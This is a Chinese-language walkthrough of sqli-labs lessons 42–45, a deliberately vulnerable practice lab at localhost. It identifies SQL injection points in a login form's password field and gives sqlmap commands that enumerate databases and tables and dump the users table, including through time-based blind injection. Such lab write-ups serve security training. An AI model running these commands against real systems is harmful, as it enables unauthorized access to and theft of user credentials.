第42关
此关为post请求,采用burp suite拦截
发现注入点在password,为单引号注入
字段数为3
得出数据库名
略
采用sqlmap
方法一
将拦截的post请求代码复制,并建.txt文档
也可以在password后加*,表示优先测试
python sqlmap.py -r 路径/1.txt --dbs
可用的方法
方法二
不需要建立.txt文档
python sqlmap.py -u http://localhost/sqli-labs/Less-42/login.php/ --data="login_user=ad&login_password=1213&mysubmit=Login"
python sqlmap.py -u http://localhost/sqli-labs/Less-42/login.php/ --data="login_user=ad&login_password=1213*&mysubmit=Login" --dbs
略
第43关
此关为post请求
注入点在密码处,为')闭合
略
python sqlmap.py -u http://localhost/sqli-labs/Less-43/login.php/ --data="login_user=a&login_password=12&mysubmit=Login" --dbs
略,方法与第42关差不多
第44关
post请求,无报错信息,采用盲注,此关为单引号闭合
为了方便,采用sqlmap
python sqlmap.py -u http://localhost/sqli-labs/Less-44/login.php/ --data="login_user=a&login_password=a&mysubmit=Login" --dbs
判断注入点在password处
采用基于时间的SQL盲注
最终结果
数据库
得出表名
python sqlmap.py -u http://localhost/sqli-labs/Less-44/login.php/ --data="login_user=a&login_password=a*&mysubmit=Login" -D security --tables
得出列名,并打印出用户名,密码(因为是基于时间的SQL盲注,会比较慢)
python sqlmap.py -u http://localhost/sqli-labs/Less-44/login.php/ --data="login_user=a&login_password=a*&mysubmit=Login" -D security -T users --columns --dump
略
第45关
此关为')闭合,无报错信息,可采用SQL盲注
参考44关sqlmap方法